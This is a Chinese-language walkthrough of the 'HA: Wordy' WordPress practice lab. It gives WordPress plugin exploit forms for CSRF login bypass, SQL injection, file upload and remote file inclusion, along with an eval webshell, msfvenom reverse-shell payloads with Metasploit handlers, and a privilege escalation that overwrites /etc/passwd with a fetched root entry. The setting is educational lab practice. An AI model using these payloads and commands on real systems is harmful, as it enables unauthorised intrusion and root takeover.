HA: Wordy靶机-Walkthrough

靶机地址
难度:初级
靶机描述:

Wordy is design for beginners to experience real life Penetration testing. This lab is completely dedicated to Web application testing and there are several vulnerabilities that should be exploited in multiple ways. Therefore, it is not only intended as a root challenge boot, the primary agenda is proactive in exploiting tops listed web application vulnerabilities.
As this is a wordpress based lab, it is designed so that users can practice following vulnerabilities: - LFI - RFI - CSRF - File Upload - SQL
There is a total of 3 flags. Completion is only registered on exploiting all vulnerabilities and flags.
Hint: “Everything is not what it seems to be.
Visit our website http://hackingarticles.in

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

netdiscover
nmap
dirb
dirsearch
gobuster
searchsploit
metaspaloit
sqlmap

存疑、待解决

  • 为什么这个靶机里面admin用户登录后台后却无法Update File?
  • sqlmap --os-shell获取shell的时候,知道了网站的物理路径、文件夹为全局用户拥有rwx权限,为什么还是没法getshell?因为当前数据库用户为raj?
  • 为什么蚁剑没能连接?

0x00、信息收集

靶机IP: 192.168.0.110

netdiscover -r 192.168.0.0/24

在这里插入图片描述
端口和服务

nmap -sS -sV -T4 -A -p- 192.168.0.109

在这里插入图片描述
页面、目录枚举

dirb http://192.168.0.110 -X .php,.txt,.zip,.html

在这里插入图片描述
info.php–>显示本机IP
notes.txt–>You Need to ZIP Your Wayout
secret.zip–>解压时需要密码

gobuster dir -u http://192.168.0.110 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

在这里插入图片描述在这里插入图片描述
wpscan扫描

wpscan --url http://192.168.0.110/wordpress -e vp,vt,u

多图预警
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

0x01、漏洞利用过程

WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation

利用方法
创建一个php文件,我这里取名PE.php,内容如下:

<?php 
?>
<form method="post" action="http://这里是靶机的IP地址/wordpress/wp-admin/admin-ajax.php">
	Username: <input type="text" name="username" value="administrator">
	<input type="hidden" name="email" value="sth">
	<input type="hidden" name="action" value="loginGuestFacebook">
	<input type="submit" value="Login">
</form>

开启kali的apache2服务,并将PE.php放到apache2的根目录/var/www/html

/etc/init.d/apache2 start

使用浏览器访问PE.php,http://localhost/PE.php,将用户名改为admin,然后点击Login按钮。随后访问http://192.168.0.110/wordpress/wp-admin/,同样把这里的IP地址替换成你靶机的IP.

进入admin控制台的过程可能需要好几秒,请耐心等待。

在这里插入图片描述

如果是默认的用户名administrator就会是下面这个样子,进入啥也干不了
在这里插入图片描述在这里插入图片描述
msfvenom生成webshell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=1234 R > shell.php 

然而我在最后Update File的时候却出了问题,没法保存……
在这里插入图片描述

是不是因为我们是非正常登录的,所以不能更新文件?

那么我们修改admin的密码试试看,直接点击Generate Password
QCDMIba&IH6t2gVCvv8%6Qc#
在这里插入图片描述
然后到最下面点击Update File保存新密码,使用admin/QCDMIba&IH6t2gVCvv8%6Qc#以正常方式重新登录后台,然后尝试在404.php写入反弹shell的代码。结果,嗯~依然不能保存……

WP Symposium <= 14.11 - Unauthenticated Shell Upload

在这里插入图片描述

search symposium
use exploit/unix/webapp/wp_symposium_shell_upload
show options
set rhosts 192.168.0.110
set targeturi /wordpress
run

在这里插入图片描述

使用链接里给出的脚本https://www.exploit-db.com/exploits/35543,同样无法上传shell

WP Symposium <= 15.1 - SQL Injection

创建SQLi.php,内容如下:

<?php 
?>
<form action="http://这里是靶机的IP地址/wordpress/wp-admin/admin-ajax.php" method="post">
<input type="text" name="action" value="wpsp_getCatName">
<input type="text" name="cat_id" value="0 UNION SELECT 1,CONCAT(name,CHAR(58),slug),3 FROM wp_terms WHERE term_id=1">
<input type="submit" name="">
</form>

确保开启了kali的apache2服务,并将SQLi.php放到apache2的根目录/var/www/html

在浏览器中访问SQLi.php,http://localhost/SQLi.php,使用Burpsuite抓包,并将整个POST请求保存到一个文本文件中,取名post.txt
在这里插入图片描述
使用sqlmap进行注入点的测试

sqlmap -r Desktop/post.txt -p cat_id
sqlmap -r Desktop/post.txt -p cat_id --dbs
sqlmap -r Desktop/post.txt -p cat_id --is-dba

在这里插入图片描述

这里我们可以结合WordPress Plugin Reflex Gallery 3.1.3 - Arbitrary File Upload漏洞,上传phpinfo.php,读取webroot的物理路径。PS:都能上传phpinfo.php了,为啥不直接上传webshell~~

我还真就上传了phpinfo.php,读取webroot的物理路径,发现是/var/www/html,本来想通过sqlmap --os-shell获取shell的,结果没成功。
在这里插入图片描述
尝试–file-dest写入webshell.php,无果。

sqlmap -r Desktop/post.txt -p cat_id --file-write="/root/shell.php" --file-dest="/var/www/html/wordpress/shell60.php"

Mail Masta 1.0 - Unauthenticated Local File Inclusion (LFI)

在这里插入图片描述
详情页面地址
https://www.exploit-db.com/exploits/40290

访问http://192.168.0.110/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
在这里插入图片描述
尝试读取Apache2的配置文件,目的是获取网站根目录,以便于使用sqlmap直接getshell。访问http://192.168.0.110/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/apache2/apache2.conf
在这里插入图片描述

WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File Inclusion

exploit-db链接https://www.exploit-db.com/exploits/38861

第一步,开启kali的HTTP服务

service apache2 start

第二步,将shell.php放到webroot,内容如下:

<?php
       @eval($_POST['x']);
       echo '123' ;
?>

第三步,浏览器访问http://192.168.0.107/wordpress/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://192.168.0.108/shell.php?

注意最后有一个问号,是用来作截断的,最开始我没有作截断处理,结果不能访问shell

在这里插入图片描述
第四步,将链接添加到shell管理工具,我这里使用的是蚁剑,有需要的可以自行到Github上下载,https://github.com/AntSwordProject/antSword

然而,蚁剑连接的时候报错了……

后来我用msfvenom生成的shell代码替换了shell.php里的内容,使用metasploit去接收shell,然后浏览器访问http://192.168.0.107/wordpress/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://192.168.0.108/shell.php?,成功反弹shell

msfvenom生成webshell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=1234 R > shell.php 

metasploit接收反弹的shell

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run

WordPress Plugin Reflex Gallery 3.1.3 - Arbitrary File Upload

在这里插入图片描述
我这里直接使用metasploit获得shell

msfconsole
search Reflex Gallery
show options
set rhosts 192.168.0.110
set targeturi /wordpress
run

在这里插入图片描述
也可以使用https://www.exploit-db.com/exploits/36374里面给出的方法
首先创建一个upload.php文件,内容如下:

<?php 
?>
<form method="POST" action="http://这里换成靶机的IP地址/wordpress/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php?Year=2019&Month=10" enctype="multipart/form-data" >
    <input type="file" name="qqfile"><br>
    <input type="submit" name="Submit" value="Pwn!">
</form>

确保开启了kali的apache2服务,并将SQLi.php放到apache2的根目录/var/www/html

在浏览器中访问upload.php,http://localhost/upload.php
在这里插入图片描述
在这里插入图片描述
shell的路径
Shell Path : http://192.168.0.110/wordpress/wp-content/uploads/2019/10/shell.php

先在msfconsole准备好接收反弹的shell

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run

然后在浏览器上访问http://192.168.0.110/wordpress/wp-content/uploads/2019/10/shell.php
在这里插入图片描述

切换目录至/var/www/html,发现有secret.zip,其实这个文件在目录猜解的时候就已经发现了,但是需要密码才能解压,我用john破解了好几个小时都没出结果,遂放弃。

切换目录至/home/raj,发现了flag1.txt
在这里插入图片描述

0x03、提权

因为靶机没有安装python环境,所以这里就不用linuxprivchecker.py脚本去搜集信息,换成LinEnum.sh

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 80

使用wget下载LinEnum.sh脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108/Desktop/LinEnum.sh

为了便于查看收集到的信息,我将结果输出到report中,脚本自动将日期作为文件的结尾

sh LinEnum.sh -r report

在使用less命令查看结果时,提示我“这是一个二进制文件是否继续查看”,输入yes后,一下子把所有内容都显示出来了,导致没法从头看到尾。

因为我没能成功执行python -c 'import pty;pty.spawn("/bin/bash")',后来才知道靶机上安装的是python3.

手动信息收集
查找SUID权限文件

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

wget -O提权

利用wget -o命令覆盖/etc/passwd文件
第一步,在kali上创建文本文件,取名passwd,并将靶机/etc/passwd文件的内容复制进去。因为之后要覆盖靶机的/etc/passwd,所以名字要一模一样。

第二步,使用openssl创建一个密码,命令如下:

openssl passwd -salt 'ins1ght' ins1ght

结果为:inoX.9v2x9xFM

第三步,将这串文本ins1ght:inoX.9v2x9xFM:0:0:add by hacker:/root:/bin/bash添加到passwd里面,注意另起一行即可。

第四步,开启kali的HTTP服务,可以用python或apache2,我这里用的是python,命令如下:

python -m SimpleHTTPServer 80

第五步,使用wget下载kali里面新建的passwd到靶机的/etc目录

cd /etc
wget -o passwd http://192.168.0.108/Desktop/passwd

本以为可以直接su ins1ght了,结果出了点问题
在这里插入图片描述
查了一下wget的使用方法,发现参数-o(小写字母o)和-O(大写字母o)是有区别的,之后我用wget -O passwd成功覆盖原有passwd.

原因如下:

Logging and Input File Options
-o logfile
Log all messages to logfile. The messages are normally reported to standard error.

Download Options
-O file --output-document=file
1)The documents will not be written to the appropriate files, but all will be concatenated together and written to file. If is used as file, documents will be printed to standard output, disabling link conversion. (Use ./- to print to a file literally named -.)
2)Use of -O is not intended to mean simply “use the name file instead of the one in the URL;” rather, it is analogous to shell redirection: wget -O file http://foo is intended to work like wget -O - http://foo > file; file will be truncated immediately, and all downloaded content will be written there.

简单来说就是-o passwd是将本次执行wget命令的日志输出到passwd(里面是日志)中,由于目录中已经存在同名文件passwd(/etc/passwd),所以wget将下载的文件(里面是用户名密码)重名为passwd.1;而-O passwd是将下载的passwd文件命名为passwd,也就实现了覆盖/etc/passwd
在这里插入图片描述
在这里插入图片描述

切换meterpreter php/linux类型的shell至meterpreter x86/linux
metasploit接收反弹的shell莫名其妙的die了

background
sessions -l
sessions -u 1

在这里插入图片描述

cp命令提权

cp命令提权本质跟wget -O是一样的,都是覆盖/etc/passwd
在这里插入图片描述

0x04、后记

后来我发现靶机上安装了python3,使用pty.spawn获得升级版的终端后,读取了LinEnum.sh脚本执行的结果,之后获取到第二个flag
在这里插入图片描述

base64解密
aarti:[email protected]
之前在wpscan扫描网站的时候已经发现了用户aarti,所以这应该是他的账号和密码,试了一下发现密码错误。

在这里插入图片描述在这里插入图片描述

这个密码是admin用户的密码。

如果您有其他的方法,欢迎留言。若文中有任何错误,恳请批评指正。

发布了41 篇原创文章 · 获赞 14 · 访问量 7930

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/101916829
HA